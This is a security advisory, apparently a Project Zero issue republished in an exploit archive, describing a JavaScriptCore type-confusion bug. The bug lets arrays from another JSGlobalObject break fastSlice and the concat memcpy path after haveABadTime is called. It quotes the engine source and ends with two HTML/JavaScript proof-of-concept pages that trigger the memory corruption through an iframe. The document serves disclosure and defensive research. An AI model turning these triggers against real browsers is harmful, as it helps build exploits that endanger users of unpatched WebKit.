1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 |
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1208 After JSGlobalObject::haveABadTime is called, the type of all JavaScript arrays(including newly created arrays) are of the same type: ArrayWithSlowPutArrayStorage. But (of course) this only affects objects that share the same JSGlobalObject. So arrays come from another JSGlobalObject can cause type confusions. void JSGlobalObject::haveABadTime(VM& vm) { ... for (unsigned i = 0; i < NumberOfIndexingShapes; ++i) m_arrayStructureForIndexingShapeDuringAllocation[i].set(vm, this, originalArrayStructureForIndexingType(ArrayWithSlowPutArrayStorage));<<-- The type of a newly created array will be ArrayWithSlowPutArrayStorage ... while (!foundObjects.isEmpty()) { JSObject* object = asObject(foundObjects.last()); foundObjects.removeLast(); ASSERT(hasBrokenIndexing(object)); object->switchToSlowPutArrayStorage(vm); <<------ switch type of an old array } } 1. fastSlice: JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count) { auto arrayType = indexingType(); switch (arrayType) { case ArrayWithDouble: case ArrayWithInt32: case ArrayWithContiguous: { VM& vm = exec.vm(); if (count >= MIN_SPARSE_ARRAY_INDEX || structure(vm)->holesMustForwardToPrototype(vm)) return nullptr; Structure* resultStructure = exec.lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(arrayType); JSArray* resultArray = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, count); if (!resultArray) return nullptr; auto& resultButterfly = *resultArray->butterfly(); if (arrayType == ArrayWithDouble) memcpy(resultButterfly.contiguousDouble().data(), m_butterfly.get()->contiguousDouble().data() + startIndex, sizeof(JSValue) * count); else memcpy(resultButterfly.contiguous().data(), m_butterfly.get()->contiguous().data() + startIndex, sizeof(JSValue) * count); resultButterfly.setPublicLength(count); return resultArray; } default: return nullptr; } } If |this| came from another JSGlobalObject, and |haveABadTime| was called, the type of |resultArray| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion. <html> <body> <script> Array.prototype.__defineGetter__(100, () => 1); let f = document.body.appendChild(document.createElement('iframe')); let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320); let c = Array.prototype.slice.call(a); alert(c); </script> </body> </html> 2. arrayProtoPrivateFuncConcatMemcpy EncodedJSValue JSC_HOST_CALL arrayProtoPrivateFuncConcatMemcpy(ExecState* exec) { ... JSArray* firstArray = jsCast<JSArray*>(exec->uncheckedArgument(0)); ... IndexingType type = firstArray->mergeIndexingTypeForCopying(secondType); ... Structure* resultStructure = exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(type); JSArray* result = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, firstArraySize + secondArraySize); if (!result) return JSValue::encode(throwOutOfMemoryError(exec, scope)); if (type == ArrayWithDouble) { double* buffer = result->butterfly()->contiguousDouble().data(); memcpy(buffer, firstButterfly->contiguousDouble().data(), sizeof(JSValue) * firstArraySize); memcpy(buffer + firstArraySize, secondButterfly->contiguousDouble().data(), sizeof(JSValue) * secondArraySize); } else if (type != ArrayWithUndecided) { WriteBarrier<Unknown>* buffer = result->butterfly()->contiguous().data(); memcpy(buffer, firstButterfly->contiguous().data(), sizeof(JSValue) * firstArraySize); if (secondType != ArrayWithUndecided) memcpy(buffer + firstArraySize, secondButterfly->contiguous().data(), sizeof(JSValue) * secondArraySize); else { for (unsigned i = secondArraySize; i--;) buffer[i + firstArraySize].clear(); } } result->butterfly()->setPublicLength(firstArraySize + secondArraySize); return JSValue::encode(result); } If |firstArray| came from another JSGlobalObject, and |haveABadTime| was called, the type of |result| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion. PoC: --> <html> <body> <script> Array.prototype.__defineGetter__(100, () => 1); let f = document.body.appendChild(document.createElement('iframe')); let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320); let b = new f.contentWindow.Array(2.3023e-320, 2.3023e-320); let c = Array.prototype.concat.call(a, b); alert(c); </script> </body> </html> |